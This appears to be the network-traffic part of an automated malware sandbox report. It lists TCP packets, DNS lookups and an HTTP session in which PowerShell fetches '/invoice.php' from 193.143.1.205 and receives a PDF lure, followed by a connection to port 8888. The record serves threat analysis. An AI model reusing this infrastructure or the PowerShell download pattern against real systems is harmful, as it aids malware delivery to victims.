Jan 11, 2025 04:10:30.801126957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.801160097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.801165104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.801270962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.801314116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.801321030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.801356077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.801388979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.801397085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.801423073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.801455021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.801462889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.801487923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.801520109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.801527977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.823795080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.823821068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.823832035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.823846102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.823873997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.823998928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.824009895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.824021101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.824032068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.824058056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.824069977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.824228048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.824284077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.826826096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.826957941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.826993942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.827012062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.827044964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.827079058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.827085018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.827112913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.827147007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.827163935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.829879045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.857578993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.857644081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.857656956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.857669115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.857677937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.857702971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.857707977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.857718945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.857729912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.857741117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.857763052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.857790947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.858021975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.858033895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.858046055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.858058929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.858063936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.858072996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.858091116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.858122110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.858170033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.884617090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.886504889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.886543989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.886557102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.886655092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.886666059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.886666059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.886666059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.886678934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.886692047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.886702061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.886729002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.886878967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.886890888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.886902094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.886914015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.886924028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.886950016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.887022972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.887120008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.887130976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.887141943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.887152910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.887155056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.887164116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.887175083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.887183905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.887206078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.887428045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.887439966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.887451887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.887465954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.887485027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.887686968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.887697935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.887707949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.887720108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.887731075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.887731075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.887741089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.887752056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.887762070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.887764931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.887773991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.887784958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.887795925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.887797117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.887806892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.887833118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.887859106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.888253927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.888267040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.888304949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.888421059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.888432980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.888442993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.888454914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.888468981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.888473034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.888484001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.888495922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.888495922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.888506889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.888519049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.888520956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.888529062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.888540030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.888542891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.888552904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.888571024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.888588905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.888967037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.888978958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.888991117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.889002085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.889013052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.889023066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.889029980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.889067888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.889257908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.889483929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.889494896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.889503956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.889514923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.889522076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.889525890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.889537096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.889543056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.889548063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.889558077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.889559031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.889569044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.889580965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.889590979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.889590979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.889601946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.889611006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.889612913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.889624119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.889635086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.889646053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.889656067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.889724970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.889724970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.889724970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.890379906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.890393019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.890403986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.890414000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.890424013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.890434980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.890444040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.890444994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.890456915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.890467882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.890479088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.890479088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.890489101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.890497923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.890500069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.890510082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.890516996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.890522957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.890537024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.890573025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.894139051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.915652990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.915674925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.915688992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.915738106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.915747881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.915760040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.915772915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.915848970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.915848970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.915848970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.918457031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.918504953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.918509960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.918545008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.918586016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.918699026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.918731928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.918765068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.918771029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.918798923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.918838024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.949146032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.949160099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.949171066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.949258089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.949269056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.949276924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.949280977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.949311972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.949331045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.949508905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.949541092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.949573994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.949667931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.949687958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.949700117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.949717045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.949733019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.949774981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.949781895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.949815989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.949848890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.949867010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.951298952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.994111061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.994144917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.994155884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.994219065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.994230986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.994242907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.994255066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.994411945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.994411945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.994673014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.994724035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.994735003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.994761944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.994911909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.994923115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.994934082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.994946003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.994959116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.994988918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.995055914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.995068073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.995079041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.995088100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:30.995095968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:30.995114088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:31.020646095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:31.444082022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:32.034141064 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:32.039298058 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:32.039366961 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:32.043719053 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:32.048629999 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:32.807288885 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 04:10:32.861484051 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 04:10:33.071832895 CET	49731	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 04:10:44.879108906 CET	49622	53	192.168.2.4	1.1.1.1
Jan 11, 2025 04:11:00.921196938 CET	65191	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 04:10:44.879108906 CET	192.168.2.4	1.1.1.1	0x17e0	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:11:00.921196938 CET	192.168.2.4	1.1.1.1	0x46cf	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 04:10:44.886805058 CET	1.1.1.1	192.168.2.4	0x17e0	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 04:11:00.929445028 CET	1.1.1.1	192.168.2.4	0x46cf	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	7440	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 04:10:29.420550108 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 04:10:30.218004942 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:10:30 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 04:10:30.218065977 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 04:10:30.218103886 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
